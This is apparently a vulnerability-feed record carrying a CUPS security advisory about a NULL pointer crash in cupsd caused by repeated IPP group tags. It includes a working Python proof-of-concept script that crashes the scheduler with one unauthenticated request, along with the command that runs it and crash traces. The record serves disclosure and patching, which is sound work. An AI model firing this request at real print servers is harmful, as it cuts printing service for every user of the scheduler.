{"schema":"threatline.record/2","record":{"id":"GHSA-wjc4-qhjr-5m5x","aliases":["GHSA-wjc4-qhjr-5m5x"],"summary":"Unauthenticated Denial of Service in cupsd via Repeated IPP Group Tags","details":"### Summary\r\n\r\nA crafted `Print-Job` request can crash cupsd through a NULL pointer dereference when the job starts. Repeated IPP group tags create unnamed separator attributes, which `add_job()` incorrectly converts into job attributes.\r\n\r\nReproduced on CUPS v2.4.19 with both sanitized and non-sanitized builds. An unauthenticated client can trigger the crash if it can reach the scheduler and submit jobs to an existing queue. The crash interrupts service for all printers managed by that cupsd process.\r\n\r\n### Details\r\n\r\nThe parser creates a separator when it encounters a repeated group tag (`cups/ipp.c:6076–6083`):\r\n\r\n```c\r\nelse if (ipp->curtag == tag)\r\n  ipp->prev = ippAddSeparator(ipp);\r\n```\r\n\r\n`ippAddSeparator()` creates an attribute with `name == NULL` and `group_tag == IPP_TAG_ZERO`. Request validation skips these separator entries.\r\n\r\nIn `add_job()`, shared by `Print-Job` and `Create-Job`, the following loop changes every attribute after the first two to `IPP_TAG_JOB`, including separators (`scheduler/ipp.c:1882–1887`):\r\n\r\n```c\r\nfor (attr = job->attrs->attrs->next->next; attr; attr = attr->next)\r\n  attr->group_tag = IPP_TAG_JOB;\r\n```\r\n\r\nThe separators retain their NULL names but lose the marker used to exclude them from processing. Two consumers then dereference the NULL name:\r\n\r\n- **Job startup, verified against a live daemon:** `get_options()` calls `ipp_length()`, which evaluates `strlen(attr->name)` in `scheduler/job.c:4212–4214`.\r\n- **Job persistence, identified by fuzzing:** `cupsdSaveJob()` calls `ippWriteIO()`, which skips only `IPP_TAG_ZERO` attributes before evaluating `strlen(attr->name)` at `cups/ipp.c:4689`. This path is reached when a dirty terminal-state job is saved during unloading, rather than through the periodic `job.cache` summary.\r\n\r\nPreserving separator attributes during group normalization would address the cause. NULL-name checks in the consumers would provide additional protection.\r\n\r\n### Proof of concept\r\n\r\n**Test conditions**\r\n\r\n- CUPS v2.4.19.\r\n- An existing queue that accepts jobs and is enabled to start printing.\r\n- The submitting client has access to the scheduler and permission to submit jobs without authentication. The default operation policy permits anonymous submission, but listener and access-control settings still determine reachability.\r\n- The queue accepts the raw document format used below.\r\n\r\nSave the script as `/tmp/poc.py`. It sends one request containing the required operation attributes followed by 39 repeated `0x0a` group tags.\r\n\r\n```python\r\n#!/usr/bin/env python3\r\nimport socket\r\nimport struct\r\nimport sys\r\n\r\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\r\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 631\r\nQUEUE = sys.argv[3] if len(sys.argv) > 3 else \"/printers/p1\"\r\n\r\ndef attribute(tag, name, value):\r\n    name = name.encode()\r\n    value = value.encode()\r\n    return (\r\n        struct.pack(\">BH\", tag, len(name)) + name\r\n        + struct.pack(\">H\", len(value)) + value\r\n    )\r\n\r\nattrs = attribute(0x47, \"attributes-charset\", \"utf-8\")\r\nattrs += attribute(0x48, \"attributes-natural-language\", \"en\")\r\nattrs += attribute(0x45, \"printer-uri\", f\"ipp://{HOST}:{PORT}{QUEUE}\")\r\nattrs += attribute(0x42, \"document-format\", \"application/vnd.cups-raw\")\r\nattrs += b\"\\x0a\" * 39\r\n\r\nbody = (\r\n    struct.pack(\">BBHI\", 1, 1, 0x0002, 1)\r\n    + b\"\\x01\" + attrs + b\"\\x03\"\r\n    + b\"duplicate-group-tag test\\n\"\r\n)\r\n\r\nrequest = (\r\n    f\"POST {QUEUE} HTTP/1.1\\r\\n\"\r\n    f\"Host: {HOST}:{PORT}\\r\\n\"\r\n    \"Content-Type: application/ipp\\r\\n\"\r\n    f\"Content-Length: {len(body)}\\r\\n\"\r\n    \"Connection: close\\r\\n\\r\\n\"\r\n).encode() + body\r\n\r\nwith socket.create_connection((HOST, PORT)) as sock:\r\n    sock.settimeout(15)\r\n    sock.sendall(request)\r\n    try:\r\n        print(sock.recv(4096))\r\n    except socket.timeout:\r\n        print(\"No response within 15 seconds.\")\r\n```\r\n\r\nRun against the test queue:\r\n\r\n```sh\r\npython3 /tmp/poc.py 127.0.0.1 631 /printers/p1\r\n```\r\n\r\nThe live-daemon test accepted the job anonymously, then crashed when printing started. The non-sanitized build terminated with `SIGSEGV (SEGV_MAPERR, si_addr=NULL)` approximately eight seconds after receiving the request. The sanitized build reported:\r\n\r\n```text\r\njob.c:4214:23: runtime error: null pointer passed as argument 1\r\n    #0 ipp_length       scheduler/job.c:4214\r\n    #1 get_options      scheduler/job.c:3916\r\n    #2 cupsdContinueJob scheduler/job.c:861\r\n    #3 start_job        scheduler/job.c:5038\r\n    #4 cupsdCheckJobs   scheduler/job.c:406\r\n    #5 print_job        scheduler/ipp.c:8981\r\n```\r\n\r\n### Impact\r\n\r\nThis is a denial-of-service vulnerability affecting the entire scheduler, not just the submitted job or destination printer.\r\n\r\nWhere anonymous job submission is reachable, a client can crash cupsd with one request and repeat the request after a restart. Network exposure depends on the server's listening and access-control configuration. The demonstrated impact is process termination; no code execution was demonstrated.\r\n\r\n### Fix\r\n\r\nmaster is unaffected\r\n[2.4.x f3fb41912e4e29dbbbe7c4afd4fe48508af21bc0] Filter out group separators in job creation requests ([GHSA-wjc4-qhjr-5m5x](https://github.com/OpenPrinting/cups/security/advisories/GHSA-wjc4-qhjr-5m5x))","categories":["Unclassified"],"product":"cups","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-wjc4-qhjr-5m5x","source_modified_at":"2026-10-05T14:11:24Z","fetched_at":"2026-10-26T19:10:57.178988Z","package":{"ecosystem":"","name":"cups"},"range":"<= 2.4.19"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-wjc4-qhjr-5m5x","source_modified_at":"2026-10-05T14:11:24Z","fetched_at":"2026-10-26T19:10:57.178988Z","package":{"ecosystem":"","name":"cups"},"version":"2.4.20"}],"cvss":3.3,"severity":"Low","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-01T21:19:46Z","modified_at":"2026-10-05T14:11:24Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-wjc4-qhjr-5m5x","fetched_at":"2026-10-26T19:10:57.178988Z","source_modified_at":"2026-10-05T14:11:24Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-05T14:11:24Z","content_hash":"a22e2811a4d10cbaabf729d5608801226c331ff20446cc8b106e689a758b31ca"}}
